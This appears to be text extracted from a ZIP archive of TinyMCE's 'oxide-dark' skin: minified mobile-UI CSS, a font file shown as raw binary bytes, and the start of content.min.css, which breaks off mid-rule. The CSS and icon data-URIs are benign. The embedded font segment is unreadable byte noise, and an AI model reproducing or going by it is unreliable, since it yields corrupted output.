.tinymce-mobile-hue-slider-black{background:#000;height:.2em;margin-bottom:.3em;margin-top:.3em;width:1.2em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider.tinymce-mobile-hue-slider-container .tinymce-mobile-hue-slider-white{background:#fff;height:.2em;margin-bottom:.3em;margin-top:.3em;width:1.2em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider .tinymce-mobile-slider-thumb{align-items:center;background-clip:padding-box;background-color:#455a64;border:.5em solid rgba(136,136,136,0);border-radius:3em;bottom:0;color:#fff;display:flex;height:.5em;justify-content:center;left:-10px;margin:auto;position:absolute;top:0;transition:border 120ms cubic-bezier(.39,.58,.57,1);width:.5em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider .tinymce-mobile-slider-thumb.tinymce-mobile-thumb-active{border:.5em solid rgba(136,136,136,.39)}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serializer-wrapper,.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group>div{align-items:center;display:flex;height:100%;flex:1}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serializer-wrapper{flex-direction:column;justify-content:center}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-toolbar-group-item{align-items:center;display:flex}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-toolbar-group-item:not(.tinymce-mobile-serialised-dialog){height:100%}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-dot-container{display:flex}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group input{background:#fff;border:none;border-radius:0;color:#455a64;flex-grow:1;font-size:.85em;padding-bottom:.1em;padding-left:5px;padding-top:.1em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group input::-webkit-input-placeholder{color:#888}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group input::placeholder{color:#888}.tinymce-mobile-dropup{background:#fff;display:flex;overflow:hidden;width:100%}.tinymce-mobile-dropup.tinymce-mobile-dropup-shrinking{transition:height .3s ease-out}.tinymce-mobile-dropup.tinymce-mobile-dropup-growing{transition:height .3s ease-in}.tinymce-mobile-dropup.tinymce-mobile-dropup-closed{flex-grow:0}.tinymce-mobile-dropup.tinymce-mobile-dropup-open:not(.tinymce-mobile-dropup-growing){flex-grow:1}.tinymce-mobile-ios-container .tinymce-mobile-dropup:not(.tinymce-mobile-dropup-closed){min-height:200px}@media only screen and (orientation:landscape){.tinymce-mobile-dropup:not(.tinymce-mobile-dropup-closed){min-height:200px}}@media only screen and (min-device-width :320px) and (max-device-width :568px) and (orientation :landscape){.tinymce-mobile-ios-container .tinymce-mobile-dropup:not(.tinymce-mobile-dropup-closed){min-height:150px}}.tinymce-mobile-styles-menu{font-family:sans-serif;outline:4px solid #000;overflow:hidden;position:relative;width:100%}.tinymce-mobile-styles-menu [role=menu]{display:flex;flex-direction:column;height:100%;position:absolute;width:100%}.tinymce-mobile-styles-menu [role=menu].transitioning{transition:transform .5s ease-in-out}.tinymce-mobile-styles-menu .tinymce-mobile-styles-item{border-bottom:1px solid #ddd;color:#455a64;cursor:pointer;display:flex;padding:1em 1em;position:relative}.tinymce-mobile-styles-menu .tinymce-mobile-styles-collapser .tinymce-mobile-styles-collapse-icon::before{color:#455a64;content:"\e314";font-family:tinymce-mobile,sans-serif}.tinymce-mobile-styles-menu .tinymce-mobile-styles-item.tinymce-mobile-styles-item-is-menu::after{color:#455a64;content:"\e315";font-family:tinymce-mobile,sans-serif;padding-left:1em;padding-right:1em;position:absolute;right:0}.tinymce-mobile-styles-menu .tinymce-mobile-styles-item.tinymce-mobile-format-matches::after{font-family:tinymce-mobile,sans-serif;padding-left:1em;padding-right:1em;position:absolute;right:0}.tinymce-mobile-styles-menu .tinymce-mobile-styles-collapser,.tinymce-mobile-styles-menu .tinymce-mobile-styles-separator{align-items:center;background:#fff;border-top:#455a64;color:#455a64;display:flex;min-height:2.5em;padding-left:1em;padding-right:1em}.tinymce-mobile-styles-menu [data-transitioning-destination=before][data-transitioning-state],.tinymce-mobile-styles-menu [data-transitioning-state=before]{transform:translate(-100%)}.tinymce-mobile-styles-menu [data-transitioning-destination=current][data-transitioning-state],.tinymce-mobile-styles-menu [data-transitioning-state=current]{transform:translate(0)}.tinymce-mobile-styles-menu [data-transitioning-destination=after][data-transitioning-state],.tinymce-mobile-styles-menu [data-transitioning-state=after]{transform:translate(100%)}@font-face{font-family:tinymce-mobile;font-style:normal;font-weight:400;src:url(fonts/tinymce-mobile.woff?8x92w3) format('woff')}@media (min-device-width:700px){.tinymce-mobile-outer-container,.tinymce-mobile-outer-container input{font-size:25px}}@media (max-device-width:700px){.tinymce-mobile-outer-container,.tinymce-mobile-outer-container input{font-size:18px}}.tinymce-mobile-icon{font-family:tinymce-mobile,sans-serif}.mixin-flex-and-centre{align-items:center;display:flex;justify-content:center}.mixin-flex-bar{align-items:center;display:flex;height:100%}.tinymce-mobile-outer-container .tinymce-mobile-editor-socket iframe{background-color:#fff;width:100%}.tinymce-mobile-editor-socket .tinymce-mobile-mask-edit-icon{background-color:#207ab7;border-radius:50%;bottom:1em;color:#fff;font-size:1em;height:2.1em;position:fixed;right:2em;width:2.1em;align-items:center;display:flex;justify-content:center}@media only screen and (min-device-width:700px){.tinymce-mobile-editor-socket .tinymce-mobile-mask-edit-icon{font-size:1.2em}}.tinymce-mobile-outer-container:not(.tinymce-mobile-fullscreen-maximized) .tinymce-mobile-editor-socket{height:300px;overflow:hidden}.tinymce-mobile-outer-container:not(.tinymce-mobile-fullscreen-maximized) .tinymce-mobile-editor-socket iframe{height:100%}.tinymce-mobile-outer-container:not(.tinymce-mobile-fullscreen-maximized) .tinymce-mobile-toolstrip{display:none}input[type=file]::-webkit-file-upload-button{display:none}@media only screen and (min-device-width :320px) and (max-device-width :568px) and (orientation :landscape){.tinymce-mobile-ios-container .tinymce-mobile-editor-socket .tinymce-mobile-mask-edit-icon{bottom:50%}}
PK
h�\�:i�@program/js/tinymce/skins/ui/oxide-dark/fonts/tinymce-mobile.woffnu�[���wOFF�OS/2``	�cmaph�?�"gasplglyftTTeŵ7head�66��7hhea$$�#hmtx$��~@�loca�FF+'6maxp�  ,�name���l�post�  ��������3	@����@�@ �6  �a���W�Z�f�4�9�?�B�E�I�T�d���������y������� �a���W�Z�f�4�6�?�A�E�I�T�d���������y����������$�����������TPN����797979�UV4>32#".�6]|GF}]66]|GF}]6�F}]66]}FG|]66]|VU�%!%2#!"&5463V�T������"21#�T"21#�����VV4"�#33#"4V���/2+532654&+55!%;#".54>;#"�,N9!!9N,��6NN6��T��N6��,N9!!9N,��6N�":N,-N:!RN66NR�TT*6NR!:N-,N:"RNB��7!7.#"'>32����-p?9gU>dRo�J+QKD���%+#>V3 BqR/)V��2.#"!>J�oRd?Ug9?p-����DKQU/RqB 3V>#+%���)�+�+!!!!5!5!!!�����T������T+VTV�TT��VVV�+�+!!5!5!!5!5������+V�VVVVTTVV��VV�+�+!!5!5!5!5!�����+V�VV�TT�VV�VV*�� 2654&+32654&##!!2@%%��%%p*2ZD��Hb&%%���%%�N0D^VdH!@V+V�!#'7#'''#7V�DZfxth6�B�h��Հ�XHx
��6�(�!#3!53#�Vx�^��x�^�����Vjk��#/!!5!5!%2#"&5462#"&5462#"&546*V��V��V�*%&'%%%%%%%%%�T�TT�TTj'&&'%%%%�%%%%VU�'5!5!!!533#57'5#5353#535#535*V��V��V��ԀNN�L"*TT��T**�TT�TTTT�,(X,(X��,���,�,,���5!##!###�����*Ԁ������*V���+*+7!!%".5332653�T��*5^E(jX>=Yj(E^�V�(E]6V��>VV>V��6]E(�+t	'762	#tN�N$d�ؠ�(�N�Nd$�@ؠ�(��*!###�T����V���%	�<�<�<<�n���%7'7	n��<����<��VU�U'3%2>54.#"!32#!"&546;4632#"&,N:"":N,,N:"":NTN�"21#�T"21#�FO99OO99O�!:N-,N:"":N,-N:!�T4"�#33#"4��9OO99OO�UV!	V���<��V<��T�<VV<�V�U'7''72#".54>֚�<��<��<���X�sCCs�YX�sCCs���<��<��<���Ct�XY�tBBt�YX�tC����%'7��<��<��<��<��*�''7'77*��<��<��<�����<��<��<���+�+ 2#!"&=3!!#54637!5!'7*"43#��$2VT��V2$�n�d�n<��+4"��#33#��T��"4��pTp<���K	%#"&'.46?�$()F]&22221BB~22222�gj�$_34]F)�3}�}222222}�}3��Aj+3##5#535332654&#"!'5'#".54>32V*VV*VjOqpPOqpP�@�$]3:eK,,Ke::dK+" VV*VV�pPOqqOPp�@�" "+Je:9fK,,Kf93]$	�� -CYaiqy�#"!4&".#">768383>5464&.#"0<54632%.#"0<54632#"!4&'#"!4&#"!4&#"!4&#"!4&�'(O}ZZ}}zyGV��VFzz�zgCCl````�mCCf````��'(�'(�(�(&�(&�(&�('�&&6��&'J6�����##������##���('�('�&(�&(&(@���!###@���������e�a AOas���%#".54>;2+";2#!#"&546;2654&+"&546;2#"&=46323"&'&4?62#!"&/&4762#2#"&=46#2"'&4?>3!2"/&47>3Ҝ+L9!!9L+��+==+�8��+==+��+L9!!9L+��	hh
��
hh	��	hh
8
hh	� 9L++L9 =++==++= 9L++L8!�
i

i
hhhh��
i

i
hhhh33��`�_<��������a���@�"�VVBV���*VjV����VnV�V����@@e
>l��(Px���4r����bz���@�8J*"�	��K�*u
�		�	Y	�	5	�	
4�tinymce-mobiletinymce-mobileVersion 1.2Version 1.2tinymce-mobiletinymce-mobiletinymce-mobiletinymce-mobileRegularRegulartinymce-mobiletinymce-mobileFont generated by IcoMoon.Font generated by IcoMoon.PK
h�\!��S�S6program/js/tinymce/skins/ui/oxide-dark/content.min.cssnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 */
.mce-content-body .mce-item-anchor{background:transparent url("data:image/svg+xml;charset=UTF-8,%3Csvg%20width%3D'8'%20height%3D'12'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200L8%200%208%2012%204.09117821%209%200%2012z'%20fill%3D%22%23cccccc%22%2F%3E%3C%2Fsvg%3E%0A") no-repeat center;cursor:default;display:inline-block;height:12px!important;padding:0 2px;-webkit-user-modify:read-only;-moz-user-modify:read-only;-webkit-user-select:all;-moz-user-select:all;-ms-user-select:all;user-select:all;width:8px!important}.mce-content-body .mce-item-anchor[data-mce-selected]{outline-offset:1px}.tox-comments-visible .tox-comment{background-color:#fff0b7}.tox-comments-visible .tox-comment--active{background-color:#ffe168}.tox-checklist>li:not(.tox-checklist--hidden){list-style:none;margin:.25em 0}.tox-checklist>li:not(.tox-checklist--hidden)::before{content:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2216%22%20height%3D%2216%22%20viewBox%3D%220%200%2016%2016%22%3E%3Cg%20id%3D%22checklist-unchecked%22%20fill%3D%22none%22%20fill-rule%3D%22evenodd%22%3E%3Crect%20id%3D%22Rectangle%22%20width%3D%2215%22%20height%3D%2215%22%20x%3D%22.5%22%20y%3D%22.5%22%20fill-rule%3D%22nonzero%22%20stroke%3D%22%236d737b%22%20rx%3D%222%22%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E%0A");cursor:pointer;height:1em;margin-left:-1.5em;margin-top:.125em;position:absolute;width:1em}.tox-checklist li:not(.tox-checklist--hidden).tox-checklist--checked::before{content:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2216%22%20height%3D%2216%22%20viewBox%3D%220%200%2016%2016%22%3E%3Cg%20id%3D%22checklist-checked%22%20fill%3D%22none%22%20fill-rule%3D%22evenodd%22%3E%3Crect%20id%3D%22Rectangle%22%20width%3D%2216%22%20height%3D%2216%22%20fill%3D%22%234099FF%22%20fill-rule%3D%22nonzero%22%20rx%3D%222%22%2F%3E%3Cpath%20id%3D%22Path%22%20fill%3D%22%23FFF%22%20fill-rule%3D%22nonzero%22%20d%3D%22M11.5703186%2C3.14417309%20C11.8516238%2C2.73724603%2012.4164781%2C2.62829933%2012.83558%2C2.89774797%20C13.260121%2C3.17069355%2013.3759736%2C3.72932262%2013.0909105%2C4.14168582%20L7.7580587%2C11.8560195%20C7.43776896%2C12.3193404%206.76483983%2C12.3852142%206.35607322%2C11.9948725%20L3.02491697%2C8.8138662%20C2.66090143%2C8.46625845%202.65798871%2C7.89594698%203.01850234%2C7.54483354%20C3.373942%2C7.19866177%203.94940006%2C7.19592841%204.30829608%2C7.5386474%20L6.85276923%2C9.9684299%20L11.5703186%2C3.14417309%20Z%22%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E%0A")}[dir=rtl] .tox-checklist>li:not(.tox-checklist--hidden)::before{margin-left:0;margin-right:-1.5em}code[class*=language-],pre[class*=language-]{color:#f8f8f2;background:0 0;text-shadow:0 1px rgba(0,0,0,.3);font-family:Consolas,Monaco,'Andale Mono','Ubuntu Mono',monospace;text-align:left;white-space:pre;word-spacing:normal;word-break:normal;word-wrap:normal;line-height:1.5;-moz-tab-size:4;tab-size:4;-webkit-hyphens:none;-ms-hyphens:none;hyphens:none}pre[class*=language-]{padding:1em;margin:.5em 0;overflow:auto;border-radius:.3em}:not(pre)>code[class*=language-],pre[class*=language-]{background:#282a36}:not(pre)>code[class*=language-]{padding:.1em;border-radius:.3em;white-space:normal}.token.cdata,.token.comment,.token.doctype,.token.prolog{color:#6272a4}.token.punctuation{color:#f8f8f2}.namespace{opacity:.7}.token.constant,.token.deleted,.token.property,.token.symbol,.token.tag{color:#ff79c6}.token.boolean,.token.number{color:#bd93f9}.token.attr-name,.token.builtin,.token.char,.token.inserted,.token.selector,.token.string{color:#50fa7b}.language-css .token.string,.style .token.string,.token.entity,.token.operator,.token.url,.token.variable{color:#f8f8f2}.token.atrule,.token.attr-value,.token.class-name,.token.function{color:#f1fa8c}.token.keyword{color:#8be9fd}.token.important,.token.regex{color:#ffb86c}.token.bold,.token.important{font-weight:700}.token.italic{font-style:italic}.token.entity{cursor:help}.mce-content-body{overflow-wrap:break-word;word-wrap:break-word}.mce-content-body .mce-visual-caret{background-color:#000;background-color:currentColor;position:absolute}.mce-content-body .mce-visual-caret-hidden{display:none}.mce-content-body [data-mce-caret]{left:-1000px;margin:0;padding:0;position:absolute;right:auto;top:0}.mce-content-body .mce-offscreen-selection{left:-2000000px;max-width:1000000px;position:absolute}.mce-content-body [contentEditable=false]{cursor:default}.mce-content-body [contentEditable=true]{cursor:text}.tox-cursor-format-painter{cursor:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2224%22%20height%3D%2224%22%20viewBox%3D%220%200%2024%2024%22%3E%0A%20%20%3Cg%20fill%3D%22none%22%20fill-rule%3D%22evenodd%22%3E%0A%20%20%20%20%3Cpath%20fill%3D%22%23000%22%20fill-rule%3D%22nonzero%22%20d%3D%22M15%2C6%20C15%2C5.45%2014.55%2C5%2014%2C5%20L6%2C5%20C5.45%2C5%205%2C5.45%205%2C6%20L5%2C10%20C5%2C10.55%205.45%2C11%206%2C11%20L14%2C11%20C14.55%2C11%2015%2C10.55%2015%2C10%20L15%2C9%20L16%2C9%20L16%2C12%20L9%2C12%20L9%2C19%20C9%2C19.55%209.45%2C20%2010%2C20%20L11%2C20%20C11.55%2C20%2012%2C19.55%2012%2C19%20L12%2C14%20L18%2C14%20L18%2C7%20L15%2C7%20L15%2C6%20Z%22%2F%3E%0A%20%20%20%20%3Cpath%20fill%3D%22%23000%22%20fill-rule%3D%22nonzero%22%20d%3D%22M1%2C1%20L8.25%2C1%20C8.66421356%2C1%209%2C1.33578644%209%2C1.75%20L9%2C1.75%20C9%2C2.16421356%208.66421356%2C2.5%208.25%2C2.5%20L2.5%2C2.5%20L2.5%2C8.25%20C2.5%2C8.66421356%202.16421356%2C9%201.75%2C9%20L1.75%2C9%20C1.33578644%2C9%201%2C8.66421356%201%2C8.25%20L1%2C1%20Z%22%2F%3E%0A%20%20%3C%2Fg%3E%0A%3C%2Fsvg%3E%0A"),default}.mce-content-body figure.align-left{float:left}.mce-content-body figure.align-right{float:right}.mce-content-body figure.image.align-center{display:table;margin-left:auto;margin-right:auto}.mce-preview-object{border:1px solid gray;display:inline-block;line-height:0;margin:0 2px 0 2px;position:relative}.mce-preview-object .mce-shim{background:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7);height:100%;left:0;position:absolute;top:0;width:100%}.mce-preview-object[data-mce-selected="2"] .mce-shim{display:none}.mce-object{background:transparent url("data:image/svg+xml;charset=UTF-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2224%22%20height%3D%2224%22%3E%3Cpath%20d%3D%22M4%203h16a1%201%200%200%201%201%201v16a1%201%200%200%201-1%201H4a1%201%200%200%201-1-1V4a1%201%200%200%201%201-1zm1%202v14h14V5H5zm4.79%202.565l5.64%204.028a.5.5%200%200%201%200%20.814l-5.64%204.028a.5.5%200%200%201-.79-.407V7.972a.5.5%200%200%201%20.79-.407z%22%20fill%3D%22%23cccccc%22%2F%3E%3C%2Fsvg%3E%0A") no-repeat center;border:1px dashed #aaa}.mce-pagebreak{border:1px dashed #aaa;cursor:default;display:block;height:5px;margin-top:15px;page-break-before:always;width:100%}@media print{.mce-pagebreak{border:0}}.tiny-pageembed .mce-shim{background:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7);height:100%;left:0;position:absolute;top:0;width:100%}.tiny-pageembed[data-mce-selected="2"] .mce-shim{display:none}.tiny-pageembed{display:inline-block;position:relative}.tiny-pageembed--16by9,.tiny-pageembed--1by1,.tiny-pageembed--21by9,.tiny-pageembed--4by3{display:block;overflow:hidden;padding:0;position:relative;width:100%}.tiny-pageembed--21by9{padding-top:42.857143%}.tiny-pageembed--16by9{padding-top:56.25%}.tiny-pageembed--4by3{padding-top:75%}.tiny-pageembed--1by1{padding-top:100%}.tiny-pageembed--16by9 iframe,.tiny-pageembed--1by1 iframe,.tiny-pageembed--21by9 iframe,.tiny-pageembed--4by3 iframe{border:0;height:100%;left:0;position:absolute;top:0;width:100%}.mce-content-body[data-mce-placeholder]{position:relative}.mce-content-body[data-mce-placeholder]:not(.mce-visualblocks)::before{color:rgba(34,47,62,.7);content:attr(data-mce-placeholder);position:absolute}.mce-content-body:not([dir=rtl])[data-mce-placeholder]:not(.mce-visualblocks)::before{left:1px}.mce-content-body[dir=rtl][data-mce-placeholder]:not(.mce-visualblocks)::before{right:1px}.mce-content-body div.mce-resizehandle{background-color:#4099ff;border-color:#4099ff;border-style:solid;border-width:1px;box-sizing:border-box;height:10px;position:absolute;width:10px;z-index:1298}.mce-content-body div.mce-resizehandle:hover{background-color:#4099ff}.mce-content-body div.mce-resizehandle:nth-of-type(1){cursor:nwse-resize}.mce-content-body div.mce-resizehandle:nth-of-type(2){cursor:nesw-resize}.mce-content-body div.mce-resizehandle:nth-of-type(3){cursor:nwse-resize}.mce-content-body div.mce-resizehandle:nth-of-type(4){cursor:nesw-resize}.mce-content-body .mce-resize-backdrop{z-index:10000}.mce-content-body .mce-clonedresizable{cursor:default;opacity:.5;outline:1px dashed #000;position:absolute;z-index:10001}.mce-content-body .mce-clonedresizable.mce-resizetable-columns td,.mce-content-body .mce-clonedresizable.mce-resizetable-columns th{border:0}.mce-content-body .mce-resize-helper{background:#555;background:rgba(0,0,0,.75);border:1px;border-radius:3px;color:#fff;display:none;font-family:sans-serif;font-size:12px;line-height:14px;margin:5px 10px;padding:5px;position:absolute;white-space:nowrap;z-index:10002}.tox-rtc-user-selection{position:relative}.tox-rtc-user-cursor{bottom:0;cursor:default;position:absolute;top:0;width:2px}.tox-rtc-user-cursor::before{background-color:inherit;border-radius:50%;content:'';display:block;height:8px;position:absolute;right:-3px;top:-3px;width:8px}.tox-rtc-user-cursor:hover::after{background-color:inherit;border-radius:100px;box-sizing:border-box;color:#fff;content:attr(data-user);display:block;font-size:12px;font-weight:700;left:-5px;min-height:8px;min-width:8px;padding:0 12px;position:absolute;top:-11px;white-space:nowrap;z-index:1000}.tox-rtc-user-selection--1 .tox-rtc-user-cursor{background-color:#2dc26b}.tox-rtc-user-selection--2 .tox-rtc-user-cursor{background-color:#e03e2d}.tox-rtc-user-selection--3 .tox-rtc-user-cursor{background-color:#f1c40f}.tox-rtc-user-selection--4 .tox-rtc-user-cursor{background-color:#3598db}.tox-rtc-user-selection--5 .tox-rtc-user-cursor{background-color:#b96ad9}.tox-rtc-user-selection--6 .tox-rtc-user-cursor{background-color:#e67e23}.tox-rtc-user-selection--7 .tox-rtc-user-cursor{background-color:#aaa69d}.tox-rtc-user-selection--8 .tox-rtc-user-cursor{background-color:#f368e0}.tox-rtc-remote-image{background:#eaeaea url("data:image/svg+xml;charset=UTF-8,%3Csvg%20width%3D%2236%22%20height%3D%2212%22%20viewBox%3D%220%200%2036%2012%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%20%20%3Ccircle%20cx%3D%226%22%20cy%3D%226%22%20r%3D%223%22%20fill%3D%22rgba(0%2C%200%2C%200%2C%20.2)%22%3E%0A%20%20%20%20%3Canimate%20attributeName%3D%22r%22%20values%3D%223%3B5%3B3%22%20calcMode%3D%22linear%22%20dur%3D%221s%22%20repeatCount%3D%22indefinite%22%20%2F%3E%0A%20%20%3C%2Fcircle%3E%0A%20%20%3Ccircle%20cx%3D%2218%22%20cy%3D%226%22%20r%3D%223%22%20fill%3D%22rgba(0%2C%200%2C%200%2C%20.2)%22%3E%0A%20%20%20%20%3Canimate%20attributeName%3D%22r%22%20values%3D%223%3B5%3B3%22%20calcMode%3D%22linear%22%20begin%3D%22.33s%22%20dur%3D%221s%22%20repeatCount%3D%22indefinite%22%20%2F%3E%0A%20%20%3C%2Fcircle%3E%0A%20%20%3Ccircle%20cx%3D%2230%22%20cy%3D%226%22%20r%3D%223%22%20fill%3D%22rgba(0%2C%200%2C%200%2C%20.2)%22%3E%0A%20%20%20%20%3Canimate%20attributeName%3D%22r%22%20values%3D%223%3B5%3B3%22%20calcMode%3D%22linear%22%20begin%3D%22.66s%22%20dur%3D%221s%22%20repeatCount%3D%22indefinite%22%20%2F%3E%0A%20%20%3C%2Fcircle%3E%0A%3C%2Fsvg%3E%0A") no-repeat center center;border:1px solid #ccc;min-height:240px;min-width:320px}.mce-match-marker{background:#aaa;color:#fff}.mce-match-marker-selected{background:#39f;color:#fff}.mce-match-marker-selected::-moz-selection{background:#39f;color:#fff}.mce-match-marker-selected::selection{background:#39f;color:#fff}.mce-content-body audio[data-mce-selected],.mce-content-body embed[data-mce-selected],.mce-content-body img[data-mce-selected],.mce-content-body object[data-mce-selected],.mce-content-body table[data-mce-selected],.mce-content-body video[data-mce-selected]{outline:3px solid #4099ff}.mce-content-body hr[data-mce-selected]{outline:3px solid #4099ff;outline-offset:1px}.mce-content-body [contentEditable=false] [contentEditable=true]:focus{outline:3px solid #4099ff}.mce-content-body [contentEditable=false] [contentEditable=true]:hover{outline:3px solid #4099ff}.mce-content-body [contentEditable=false][data-mce-selected]{cursor:not-allowed;outline:3px solid #4099ff}.mce-content-body.mce-content-readonly [contentEditable=true]:focus,.mce-content-body.mce-content-readonly [contentEditable=true]:hover{outline:0}.mce-content-body [data-mce-selected=inline-boundary]{background-color:#4099ff}.mce-content-body .mce-edit-focus{outline:3px solid #4099ff}.mce-content-body td[data-mce-selected],.mce-content-body th[data-mce-selected]{position:relative}.mce-content-body td[data-mce-selected]::-moz-selection,.mce-content-body th[data-mce-selected]::-moz-selection{background:0 0}.mce-content-body td[data-mce-selected]::selection,.mce-content-body th[data-mce-selected]::selection{background:0 0}.mce-content-body td[data-mce-selected] *,.mce-content-body th[data-mce-selected] *{outline:0;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.mce-content-body td[data-mce-selected]::after,.mce-content-body th[data-mce-selected]::after{background-color:rgba(180,215,255,.7);border:1px solid transparent;bottom:-1px;content:'';left:-1px;mix-blend-mode:lighten;position:absolute;right:-1px;top:-1px}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.mce-content-body td[data-mce-selected]::after,.mce-content-body th[data-mce-selected]::after{border-color:rgba(0,84,180,.7)}}.mce-content-body img::-moz-selection{background:0 0}.mce-content-body img::selection{background:0 0}.ephox-snooker-resizer-bar{background-color:#4099ff;opacity:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.ephox-snooker-resizer-cols{cursor:col-resize}.ephox-snooker-resizer-rows{cursor:row-resize}.ephox-snooker-resizer-bar.ephox-snooker-resizer-bar-dragging{opacity:1}.mce-spellchecker-word{background-image:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20width%3D'4'%20height%3D'4'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20stroke%3D'%23ff0000'%20fill%3D'none'%20stroke-linecap%3D'round'%20stroke-opacity%3D'.75'%20d%3D'M0%203L2%201%204%203'%2F%3E%3C%2Fsvg%3E%0A");background-position:0 calc(100% + 1px);background-repeat:repeat-x;background-size:auto 6px;cursor:default;height:2rem}.mce-spellchecker-grammar{background-image:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20width%3D'4'%20height%3D'4'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20stroke%3D'%2300A835'%20fill%3D'none'%20stroke-linecap%3D'round'%20d%3D'M0%203L2%201%204%203'%2F%3E%3C%2Fsvg%3E%0A");background-position:0 calc(100% + 1px);background-repeat:repeat-x;background-size:auto 6px;cursor:default}.mce-toc{border:1px solid gray}.mce-toc h2{margin:4px}.mce-toc li{list-style-type:none}.mce-item-table:not([border]),.mce-item-table:not([border]) caption,.mce-item-table:not([border]) td,.mce-item-table:not([border]) th,.mce-item-table[border="0"],.mce-item-table[border="0"] caption,.mce-item-table[border="0"] td,.mce-item-table[border="0"] th,table[style*="border-width: 0px"],table[style*="border-width: 0px"] caption,table[style*="border-width: 0px"] td,table[style*="border-width: 0px"] th{border:1px dashed #bbb}.mce-visualblocks address,.mce-visualblocks article,.mce-visualblocks aside,.mce-visualblocks blockquote,.mce-visualblocks div:not([data-mce-bogus]),.mce-visualblocks dl,.mce-visualblocks figcaption,.mce-visualblocks figure,.mce-visualblocks h1,.mce-visualblocks h2,.mce-visualblocks h3,.mce-visualblocks h4,.mce-visualblocks h5,.mce-visualblocks h6,.mce-visualblocks hgroup,.mce-visualblocks ol,.mce-visualblocks p,.mce-visualblocks pre,.mce-visualblocks section,.mce-visualblocks ul{background-repeat:no-repeat;border:1px dashed #bbb;margin-left:3px;padding-top:10px}.mce-visualblocks p{background-image:url(data:image/gif;base64,R0lGODlhCQAJAJEAAAAAAP///7u7u////yH5BAEAAAMALAAAAAAJAAkAAAIQnG+CqCN/mlyvsRUpThG6AgA7)}.mce-visualblocks h1{background-image:url(data:image/gif;base64,R0lGODlhDQAKAIABALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybGu1JuxHoAfRNRW3TWXyF2YiRUAOw==)}.mce-visualblocks h2{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8Hybbx4oOuqgTynJd6bGlWg3DkJzoaUAAAOw==)}.mce-visualblocks h3{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIZjI8Hybbx4oOuqgTynJf2Ln2NOHpQpmhAAQA7)}.mce-visualblocks h4{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxInR0zqeAdhtJlXwV1oCll2HaWgAAOw==)}.mce-visualblocks h5{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxIoiuwjane4iq5GlW05GgIkIZUAAAOw==)}.mce-visualblocks h6{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxIoiuwjan04jep1iZ1XRlAo5bVgAAOw==)}.mce-visualblocks 